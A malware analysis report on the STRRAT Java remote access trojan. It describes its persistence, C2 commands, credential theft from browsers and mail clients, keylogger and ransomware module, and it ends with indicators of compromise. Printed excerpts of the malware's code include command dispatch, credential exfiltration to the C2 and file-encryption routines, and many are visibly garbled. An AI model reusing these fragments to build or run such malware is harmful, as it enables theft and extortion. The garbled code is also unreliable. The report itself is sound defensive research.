# How to Analyze Java Malware – A Case Study of

## STRRAT

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### **Executive summary**

STRRAT is a Java-based malware that executes multiple commands transmitted by the C2 server. The JAR file was obfuscated using the Allatori obfuscator. It establishes persistence on the host by copying to the Startup folder and creating a scheduled task and a Run registry entry. The functionalities of the implemented commands include: reboot the machine, uninstall the malware and delete all its traces, download and execute files, update the initial JAR file, execute commands using cmd and powershell, open/delete/download/upload files specified by the C2 server, perform keylogger activities, retrieve a list of running processes, implement a reverse proxy on the machine, install RDPWrap that enables Remote Desktop Host support, steal passwords from multiple browsers and email clients, attempt to elevate privileges, and implement a functional ransomware module.

## **Analysis and findings**

SHA256: 0de7b7c82d71f980e5261c40188bafc6d95c484a2bf7007828e93f16d9ae1d9a

We will perform a detailed analysis of the STRRAT malware that was dropped by <u>Vjw0rm</u>. As we've already described in the Vjw0rm whitepaper, the JAR file is deobfuscated using the <u>Java</u> <u>deobfuscator</u>.

As shown in Figure 1, the malware was obfuscated using the Allatori Obfuscator:



#### Figure 1

The process verifies whether any arguments were passed and sets a boolean value accordingly:



#### Figure 2

If a single argument is provided, the RAT creates a file called "C:\Users\<User>\64578lock.file", as highlighted below:









The configuration file called "config.txt" is decrypted using the AES algorithm, with the key derived from the "strigoi" string:







Multiple JAR files that will be used in the malicious activity are downloaded and saved to the "C:\Users\<User>\lib" directory:

<pre>public static String gsbthstgb() {     return (new StringBuilder()).insert(0, 1 }</pre>	System.getProperty("user.home")).append("\\lib\\").toString();
	Figure 7
<pre>gsbthstgb(String varl) {     this.sabretb = new String[]{"https://repol.maven.org/maven2/net/java/dev/jna/j     this.sdfsldf = new File[4];     this.sdfsldf[0] = new File[(new StringBuilder()).insert(0, varl).append("jna-5     this.sdfsldf[1] = new File((new StringBuilder()).insert(0, varl).append("append");     this.sdfsldf[2] = new File((new StringBuilder()).insert(0, varl).append("sqlit     this.sdfsldf[3] = new File(new StringBuilder()).insert(0, varl).append("</pre>	; ma/5.5.0/jna-5.5.0.jar", "https://repol.maven.org/maven2/net/java/dev/jna/jna-platform/5.5.0/jna-platform-5.5.0.jar" 5.5.0.jar").toString()); platform 5.5.0.jar").toString()); em-hook-3.5.jar").toString());

#### Figure 8

The getAbsolutePath method is utilized to retrieve the path of the JAR file. It displays an error message if NULL is returned:



#### Figure 9



#### Figure 10

The first decrypted parameter from the configuration represents the primary C2 server, and the second is the primary C2 port. The fourth and fifth parameters contain the secondary C2 server and port:





#### Figure 12

The malware establishes persistence by creating a scheduled task called "Skype":



#### Figure 13

The malicious process obtains the path of the AppData folder using SHGetFolderPath (26 = **CSIDL\_APPDATA**). It creates a directory called "strlogs" inside AppData using the mkdir function:



<pre>static String sdfsldf = (new StringBuilder()).insert(0, sdfsldf(26)).append(File.separator).toString(); private static String ertdbdth; public static String sabretb; public static String dfhttegd; public static String bsgshsbs = (new StringBuilder()).insert(0, sdfsldf).append("strlogs").append(File.separator).toString();</pre>
Figure 15
<pre>public static String sdfsldf(int var0) {     char[] var1 = new char[260];     Shell32.INSTANCE.SHGetFolderPath((HWND)null, var0, (HANDLE)null, Shl0bj.SHGFP_TYPE_CURRENT, var1);     return Native.toString(var1); }</pre>

#### Figure 16

The RAT creates a socket and connects it to the C2 server on the primary port. If the connection is unsuccessful, it tries contacting the backup C2 server (see Figure 17).





The process copies the JAR file to the Startup folder (7 = CSIDL\_STARTUP):



#### Figure 18



#### Figure 19

The malicious process creates a new entry under the "Software\Microsoft\Windows\CurrentVersion\Run" registry key that will allow the "javaw.exe" executable to run the initial JAR file. This is accomplished using the WindowsRegOpenKey, WindowsRegQueryValueEx, and WindowsRegSetValueEx functions:





<pre>(mdgghtdsh = sbsbgsrg.getDeclaredMethod("WindowsRegOpenKey", Integer.TYPE, byte[].class, Integer.TYPE)).setAccessible(true);</pre>
<pre>(sstydgn = sbsbgsrg.getDeclaredMethod("WindowsRegCloseKey", Integer.TYPE)).setAccessible(true);</pre>
(fgsbsfgsb = sbsbgsrg.getDeclaredMethod("WindowsRegQueryValueEx", Integer.TYPE, <pre>byte[].class)).setAccessible(true);</pre>
(fgssdg = sbsbgsrg.getDeclaredMethod("WindowsRegEnumValue", Integer.TYPE, Integer.TYPE, Integer.TYPE)).setAccessible(true);
<pre>(ertdbdth = sbsbgsrg.getDeclaredMethod("WindowsRegQueryInfoKey1", Integer.TYPE)).setAccessible(true);</pre>
(sbsgssdfg = sbsbgsrg.getDeclaredMethod("WindowsRegEnumKeyEx", Integer.TYPE, Integer.TYPE, Integer.TYPE)).setAccessible(true);
<pre>(dsgsdfge = sbsbgsrg.getDeclaredMethod("WindowsRegCreateKeyEx", Integer.TYPE, byte[].class)).setAccessible(true);</pre>
(sgsfghhg = sbsbgsrg.getDeclaredMethod("WindowsRegSetValueEx", Integer.TYPE, byte[].class, byte[].class)).setAccessible(true);
<pre>(sfsrgsbd = sbsbgsrg.getDeclaredMethod("WindowsRegDeleteValue", Integer.TYPE, byte[].class)).setAccessible(true);</pre>
<pre>(thtyrths = sbsbgsrg.getDeclaredMethod("WindowsRegDeleteKey", Integer.TYPE, byte[].class)).setAccessible(true);</pre>

#### Figure 22

The C2 server transmits multiple elements that are delimited by "|". The first one is the command that will be executed by STRRAT:

String var1 = (new StringBuilder()).insert(0, "\").append(System.getProperty("java.home")).append(File.separator).append("bin").append("file.separator).append("java.exe\"	<pre>-jar ").toString();</pre>
while(sfsrgsbd) { trv {	
<pre>String[] var2; if ((var2 = sabretb(mdgghtdsh()).split("\\\"))[0].equals("reboot")) {</pre>	
Runtime.getRuntime{}.exec("cmd.exe /c shutdown /r /t 0");	

Figure 23

### **STRRAT commands**

#### reboot command

The impacted machine is rebooted using the shutdown command (see Figure 23).

#### shutdown command

The malicious process stops the current host, as shown below:

else if (var2[0].equals("shutdown")) {
 Runtime.getRuntime().exec("cmd.exe /c shutdown /s /t 0");

Figure 24

#### uninstall command

This command implements the uninstall routine. The scheduled task called "Skype" is deleted, the JAR file that was copied to the Startup folder is deleted along with the initial JAR, and the Registry value used for persistence is deleted using WindowsRegDeleteValue:

## else if (var2[0].equals("uninstall")) { sdfsldf(var0.sabretb);

Figure 25



#### Figure 26

#### disconnect command

The process closes the socket created before and then exits:



Figure 27

#### down-n-exec command

The malware downloads a file found in a URL supplied by the C2 server and saves it in the AppData directory:









Depending on the downloaded file's extension, it can be executed using wscript.exe, java.exe, and cmd.exe:



#### Figure 30

The malicious process sends an update message to the C2 server ("update-status|Executed File") and another one indicating that it's ready to receive new commands:

```
public static void sdfsldf(String var0) {
    sabretb((new StringBuilder()).insert(0, "update-status|").append(var0).toString());
}
```

#### Figure 31



#### Figure 32

#### update command

This command is used to update the JAR file. It launches the new JAR using the Java executable:







#### up-n-exec command

This command is similar to the down-n-exec command presented above. It downloads a file executed using wscript.exe, java.exe, or cmd.exe:



#### Figure 35

#### remote-cmd command

The RAT executes a command transmitted by the C2 server using cmd.exe. It retrieves the content of the "COMPUTERNAME" (or "HOSTNAME") and "USERNAME" environment variables that will be exfiltrated:







Figure 37



A new socket that transmits the information to the C2 server is created:







Figure 40



#### power-shell command

The command is similar to the one described above. However, the sent command is run via powershell.exe (see Figure 41).

alse if (var2[0].equals("power-shell")) {
 Socket var11 = fgssdg((new StringBuilder()).insert(0, "power-shell|").append(sfsrgsbd()).append("|").append(sbsgssdfg()).toString());
 new dgdfndnbcn(var11, new String[]{"powershell.exe", "-"});
 sofsldf("Readv").

#### Figure 41

#### file-manager command

The malware enumerates the files and directories located in the User's home directory. It constructs a string that contains the following data:

- "F" + filename + file size in KB + lastModified timestamp
- "D" + directory name + lastModified timestamp







#### Figure 43

A new thread is created, which deals with the following subcommands: "navigate", "nav-key-log", "open", "delete", "savefile", and "bringfile".







The "navigate" subcommand is utilized to enumerate the files found in a particular folder, as highlighted in Figure 46.



#### Figure 46

The "nav-key-log" subcommand enumerates the keylogger directory found in "AppData\strlogs". The "open" subcommand is used to run a file using "cmd.exe /c".

Using the "delete" subcommand, the malware deletes a regular file/folder (figure 47).



The "savefile" subcommand is utilized to create a new file and populate it with content sent by the C2 server:





Finally, the last subcommand is used to exfiltrate a regular file to the remote server:



#### keylogger command

The malicious process creates an HTML file that contains a string corresponding to this malware family, "Generated by Strigoi Master":











The RAT constructs a globalKeyboardHook and implements the addKeyListener function, which listens to keyPressed and keyReleased events:



#### Figure 53

It verifies which keys were pressed. Then it calls the getVirtualKeyCode function, as shown in figure 54.

<pre>char var4; if (var10000.isShiftPressed() &amp;&amp; var1.getVirtualKevCode() == 49) {</pre>
var4 = '!';
<pre>} else if (varl.isShiftPressed() &amp;&amp; varl.getVirtualKeyCode() == 50) {    var4 = '0';</pre>
<pre>} else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 51) {     var4 = '#''</pre>
<pre>} else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 52) {</pre>
<pre>var4 = '5'; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 53) {</pre>
<pre>var4 = '%'; } else if (var1.isShiftPressed() &amp; var1.getVirtualKeyCode() == 54) {</pre>
<pre>var4 = '^'; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 55) {</pre>
<pre>var4 = '&amp;'; } else if (var1 isShiftPressed() &amp;&amp; var1 getVirtualKevCode() == 56) {</pre>
<pre>var4 = '*'; } dea if (use1 is ChiftBreecod() Ef use1 astWistus Koufada() 57) f</pre>
y etse if (vari.issnir(rressed() oo vari.getvir(uatkeycode() == 57) { var4 = '(';
<pre>} else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 48) {    var4 = ')';</pre>
<pre>} else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 189) {     var4 = ' ';</pre>
<pre>} else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 187) {     var4 = '+';</pre>
<pre>} else if (varl.isShiftPressed() &amp;&amp; varl.getVirtualKeyCode() == 219) {</pre>
<pre>vol4 = 1; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 220) { </pre>
<pre>var4 = ' '; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 221) {</pre>
<pre>var4 = '}'; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 192) {</pre>
<pre>var4 = '~'; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 191) {</pre>
<pre>var4 = '?'; } else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKevCode() == 188) {</pre>
$var4 = \frac{1}{2}$
var4 = '>';
<pre>} else if (var1.isShiftPressed() &amp;&amp; var1.getVirtualKeyCode() == 222) {    var4 = ''';</pre>
<pre>} else if ((var1.isShiftPressed()    this.sdfsldf) &amp;&amp; var1.getVirtualKeyCode() = (     var4 = 'A':</pre>
<pre>} else if ((var1.isShiftPressed()    this.sdfsldf) &amp;&amp; var1.getVirtualKeyCode() = ( var4 = '8';</pre>
<pre>} else if ((var1.isShiftPressed()    this.sdfsldf) &amp;&amp; var1.getVirtualKeyCode() = 0</pre>
<pre>var4 = C; } else if ((var1.isShiftPressed()    this.sdfsldf) &amp;&amp; var1.getVirtualKeyCode() = ()</pre>
<pre>var4 = '0'; } else if ((var1.isShiftPressed()    this.sdfsldf) &amp;&amp; var1.getVirtualKeyCode() == 0</pre>
<pre>var4 = 'E'; } else if ((var1.isShiftPressed()    this.sdfsldf) &amp;&amp; var1.getVirtualKeyCode() == '</pre>
<pre>var4 = 'F'; } else if ((var1 isShiftPressed()    this sdfs]df) &amp; var1 getVirtualKevCode() == '</pre>

The window name on which the keys were pressed is also recorded using the GetForegroundWindow and GetWindowText methods:





#### o-keylogger command

The malware creates an HTML file named: "keylogs\_" + random int between 0 and 9998 + ".html". This file stores the pressed keys during the keylogger operation:



#### Figure 57

#### processes command

The RAT retrieves a list of running processes via a WMI query, which will be exfiltrated to the C2 server. It can kill a specific process based on its PID using the taskkill command:











<pre>static void sdfsldf(dhgdghd stringArray) {</pre>
try (
while (stringArray.bsgshsbs) (
StringBuilder stringBuilder;
<pre>String[] stringArray2 = stringArray;</pre>
Object object = new byte[1];
StringBuilder stringBuilder2 = new StringBuilder();
do (
int n;
if ((n = stringArray2.sdfsldf.read((byte[])object, θ, 1)) == -1) {
throw new Exception();
}
<pre>stringBuilder = stringBuilder2;</pre>
stringBuilder.append( <mark>new</mark> String((byte[])object, θ, n));
<pre>} while (!stringBuilder.toString().endsWith("\r\n\r\n"));</pre>
Object object2 = object = (Object)stringBuilder2.toString();
<pre>stringArray2 = stringArray.sdfsldf(Integer.parseInt(((String)object2).substring(0, ((String)object2).indexOf("\r\n\r\n"))).split("\\ ");</pre>
<pre>if (stringArray2[0].equals("reload")) {</pre>
<pre>super.sdfsldf(dhqdqhd.sdfsldf());</pre>
continue:
}
<pre>if (!stringArray2[0].equals("kill")) continue;</pre>
Runtime.getRuntime().exec(new StringBuilder().insert(0, "cmd.exe /c taskkill /F /PID ").append(stringArray2[1]).append(" /T").toString());
<pre>super.sdfsldf("showdialog Process Terminated Successfully");</pre>
catch (Exception exception) {
<pre>stringArray.bsgshsbs = false:</pre>



#### h-browser command

The malicious process checks if the Chrome and Firefox browsers are installed on the machine in the "C:\Program Files" and "C:\Program Files (x86)" directories, as shown below:







#### Figure 62

The following subcommands are implemented: "start", "stop", and "exit" (see Figure 63).



The process opens Chrome or Firefox in a new window with the "Strigoi Browser" title.





The following events are implemented: "mouse-event left", "mouse-event right", and "key-event". These events are used to navigate in the newly created browser window. For example, in the case of mouse events, the malware calls the PostMessage function with the parameters 513 (WM\_LBUTTONDOWN), 514 (WM\_LBUTTONDP), and 516 (WM\_RBUTTONDOWN), 517 (WM\_RBUTTONUP), respectively:



#### Figure 65

#### startup-list command

The malware extracts the Startup programs and the programs found in the Run registry keys:

```
else if (var2[0].equals("startup-list")) {
   Socket var17 = fgssdg((new StringBuilder()).insert(0, "startup-list%%").append(ssdgsbh.sdfsldf()).toString());
   new ssdgsbh(var17);
   sdfsldf("Ready");
```





The following subcommands are implemented: "reload", "delete", and "add". The process can delete and add programs in the Startup folder, as well as entries under the Run registry keys (see Figure 68).



Figure 68

remote-screen command

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The RAT creates two threads that implement the remote screen function:



#### Figure 69



#### Figure 70

The following events are handled: "key-event", "mouse-move", "mouse-wheel", "mouse-double", "mouse-left", and "mouse-right". The malware can manipulate the Mouse cursor using the mouseMove, mouseWheel, mousePress, and mouseRelease functions:



Figure 71



Figure 72

#### rev-proxy command

This command implements a reverse proxy on the host. It receives a "CONNECT IP:Port" request and sends back a "200 Connection Established" message, as highlighted below:



Figure 73







Figure 75

#### hrdp-new command

Firstly, the process verifies whether the Chrome and Firefox browsers are installed on the machine:



#### Figure 77

It downloads RDPWrap from http[:]//wshsoft[.]company/multrdp.jpg, which enables Remote

Desktop Host support on Windows:



#### Figure 78



#### Figure 79

The process runs RDPWrap, creates a new user consisting of five letters, and prevents the display of the last username by modifying a Registry value. The new username is sent to the C2 server:











The following subcommands are implemented: "CLONE", "EXITS", and "EXIT".





Using the "CLONE" subcommand, the malicious process retrieves a Firefox profile and clones it using a batch file called "Firefox.bat". It starts Firefox with the "-no-remote -profile" parameters, which specifies the cloned user's Profile:



#### Figure 84

By specifying the "EXITS" subcommand, the newly created account is deleted. The modified

Registry value is set back to 0:



#### Figure 85

Finally, the last subcommand is utilized to log off the RDP session that was established, as displayed below:



Figure 86

#### hrdp-res command

The command is similar to the one described above; however, the username is specified by the C2 server:



#### chrome-pass command

The RAT only targets the Windows operating system, as shown below:





#### Figure 89

The "Login Data" database is copied to "AppData\Roaming\Login Data", and the malware extracts the following fields: "action\_url", "username\_value", and "password\_value" (see Figure 90).



#### Figure 90

Firstly, the malware tries to decrypt the "password\_value" field using the cryptUnprotectData function. If the operation is unsuccessful, it retrieves and decrypts the master key from the

"Local State" file, and the "password\_value" field is decrypted using the AES-GCM algorithm:







Figure 92





#### foxmail-pass command

The process opens the Registry key corresponding to the FoxMail Email client, and also the file found in "Storage/<Email>/Accounts/Account.rec0". It looks for two fields called "Password" and "POP3Password":

else if (var2[0].equals("foxmail-pass")) {
 dsgsdfge var20 = new dsgsdfge();
 sabretb((new StringBuilder()).insert(0, "foxmail-pass|").append(sfsrgsbd()).append("|").append(sbsgssdfg()).append("|").append(var20.sdfsldf()).toString());
 sdfsldf("Ready");





#### Figure 95

The passwords are decoded using a custom algorithm (see Figure 96).





#### outlook-pass command

The malicious process performs searches through Registry keys corresponding to Outlook. It tries to locate entries that contain the "password" string and specific passwords: "IMAP Password", "POP3 Password", "HTTP Password", and "SMTP Password". It obtains the "Email" and "SMTP Server" values and decrypts the passwords using the cryptUnprotectData method:

## else if (var2[0].equals("outlook-pass")) { sabretb((new StringBuilder()).insert(0, "outlook-pass|").append(sfsrgsbd()).append("|").append(sbsgssdfg()).append("|").append((new thrhhrth()).sdfsldf()).toString()); sdfsldf("Ready");











#### fox-pass command

The process locates the following files and archives them in an archive to be exfiltrated called "rpack.zip": logins.json (encrypted logins), key4.db (decryption key for passwords), and cert9.db (certificates stored in the Certificate Manager).

```
se if (var2[0].equals("fox-pass")) {
dncbnf var21;
if ((var21 = new dncbnf(false)).sdfsldf) {
    sdfsldf(var21.sabretb, (new StringBuilder()).insert(0, "fox-dec-files|").append(sfsrgsbd()).append("|").append(sbsgssdfg()).toString());
    (new File(var21.sabretb)).delete();
    referited(var21.sabretb)).delete();
      (new File(var21.s
sdfsldf("Ready");
```











#### tb-pass command

This command is similar to the one presented above, but Thunderbird passwords are extracted:



#### ie-pass command

The malware extracts stored credentials from Internet Explorer and Edge using a Powershell script (see Figure 105).







Figure 105

#### chk-priv command

The RAT verifies whether it has administrative privileges by trying to create a file called "dummy.log" in the System32 directory and sends the outcome to the C2 server:





#### Figure 107

#### req-priv command

The process tries to launch itself with admin privileges by sending a UAC prompt to the user using the "-verb runAs" Powershell parameters:



#### Figure 108



#### rw-encrypt command

This command implements the ransomware module of the malware. It encrypts the files found in the Downloads, Documents, and Desktop folders located in the user's profile using AES128. The AES key is derived based on a password specified by the C2 server, and the IV is randomly generated using a SecureRandom object. Finally, the extension of the encrypted files is changed to ".crimson", as highlighted below:

<pre>else if (var2[0].equals("rw-encrypt")) {</pre>
fgssdg var27 = new fgssdg(var2[1]);
<pre>(new Thread(new dfhdfndfg(var27))).start();</pre>
<pre>sdfsldf("Encrypting Files");</pre>

Figure 110

<pre>varl = (new StringBuilder()).insert(0, System.getProperty("user.nome")).append(File.separator).toString(); this.sabretb = new String[]{varl + "Downloads", (new StringBuilder()).insert(0, varl).append("Desktop").toString()}; }</pre>
// SF: synthetic method static void sabretb(fyssdg var0) { (pssdg var4 = var1) = var0; ArrayList var5 = new ArrayList(); String[] var6 = var4.sabretb; int var7 = var4.sabretb;
<pre>for(int var10000 = var16 = 0; var10000 &lt; var7; var10000 = var16) {     String var8 var6(var16);     File var8;     if ((var30 = mew File(var8)).exists()) {         for(object var1 : sofsldf(var30.getAbsolutePath())) {             File var12;             if ((var12 = mew File((String)var1)).length() &lt;= 10240000L) {             var5.sdd(var12.getAbsolutePath());             }         }     } }</pre>
før(Object var2: var5) { File var14 = new File((String)var2); String var3 = (new StringBullder()).insert(0, var14.getAbsolutePath()).append(dfhttegd).toString();
try { ByteArrayOutputStream var17 = new ByteArrayOutputStream(); Byte[] var20 = new Byte[8192];
<pre>for(FileInputStream var33 = var23 = new FileInputStream(var14); (var7 = var33.read(var20, 0, 8192)) != -1; var33 = var23) {     var17.write(var20, 0, var7); }</pre>
<pre>var23.close(); String var34 = var11.sdfsldf; var21.vr28 tod9tdstay(); var21.setser34 ScureBandom var24 = new ScureBandom(); Byte[) var24 = new byte[10]; SecretKey var25 = gathstgb.sdfsldf(var18, var28); Cipber var19 = Cipber.getInstance(*AES/CBC/PKCSSFMDDIG"); IvParameterSpec.var23 = new UPArameterSpec(var28); var19.init(1, var25, var21); var29 = var19.dofinal(var20); ByteBuffer var25; (var26 = ByteBuffer.allocate(20 + var20.length)).putInt(16); var26.put(var28);</pre>

## Figure 111

# public class fgssdg { private String sdfsldf; private String[] sabretb; private static String dfhttegd = ".crimson";

#### Figure 112

public static SecretKey sdfsldf(String var0, byte[] var1) {
 PBEKeySpec var2 = new PBEKeySpec(var0.toCharArray(), var1, 65536, 128);
 byte[] var3 = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(var2).getEncoded();
 return new SecretKeySpec(var3, "AES");



#### rw-decrypt command

The command is the complement of the above and can be utilized to decrypt the files having the ".crimson" extension using the AES128 algorithm.



#### Figure 114

#### show-msg command

The malware creates the ransom note called "crimson\_info.txt" and populates it with content received from the C2 server. It is displayed to the user by spawning a notepad process:



#### Figure 115

#### screen-on command

This command is used to move the Mouse using the mouseMove function, keeping the screen on:





#### save-all-pass command

The command combines the passwords extracted from Internet Explorer, Edge, Google Chrome, FoxMail, Outlook, Mozilla Firefox, and Thunderbird:



#### Figure 118

The process sends a ping packet to the C2 server containing the STRRAT version 1.5 and the public IP of the host retrieved from ip-api.com:

static void sabretb() { Object object;
StringBuilder stringBuilder = new StringBuilder().insert(0, "ping ");
<pre>if (sstydgn.equals("")) {</pre>
sstydgn = new StringBuilder().insert(0, dhgfgh.ssdgsbh()).append(hghteerd).toString();
sstydgn = new StringBuilder().insert(0, sstydgn).append(dhqfgh.sfsrgsbd()).append(hghteerd).toString();
sstydan = new StringBuilder().insert(0, sstydan).append(dhafah.sbsgssdfg()).append(hahteerd).toString();
<pre>object = dhqfqh.sqsfqhhq();</pre>
<pre>sstydgn = new StringBuilder().insert(0, sstydgn).append(object[0]).append(hghteerd).toString();</pre>
sstydgn = new StringBuilder().insert(θ, sstydgn).append(object[1]).append(hghteerd).toString();
sstydan = new StringBuilder(),insert(θ, sstydan),append(dhafah.dsgsdfae()),append(hahteerd).toString();
sstydan = new StringBuilder(),insert(0, sstydan),append("[win title]").toString():
object = cariambo.fossdo.sdfsldf() ? "Installed" : "Not Installed":
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}
object = stringBuilder.append(sstydgn.replace("[idle_time]", thtyrths.sdfsldf()).replace("[win_title]", dhgfgh.bsgshsbs())).toString();
<pre>String string = String.valueOf(object.getBytes().length + "\r\n\r\n");</pre>
sbsgssdfg.write(string.getBytes());
sbsgssdfg.write(object.getBytes());
sbsgssdfg,flush();

#### Figure 119



## **Indicators of Compromise**

#### **SHA256**

0de7b7c82d71f980e5261c40188bafc6d95c484a2bf7007828e93f16d9ae1d9a

#### C2 servers/URLs

http[:]//jbfrost[.]live nneewwllooggzz.mefound[.]com windowsupdatelogz.onedumb[.]com

http[:]//wshsoft[.]company/multrdp.jpg

ip-api[.]com/json/

#### User agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36

#### **Files created**

C:\Users\<User>\64578lock.file

C:\Users\<User>\AppData\Roaming\Mozilla\Firefox\rpack.zip

C:\Users\<User>\AppData\strlogs

C:\Users\<User>\lib\jna-5.5.0.jar

C:\Users\<User>\lib\jna-platform-5.5.0.jar

C:\Users\<User>\lib\sqlite-jdbc-3.14.2.1.jar

C:\Users\<User>\lib\system-hook-3.5.jar

#### **Registry key**

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<JAR Name>

#### Scheduled task

Skype

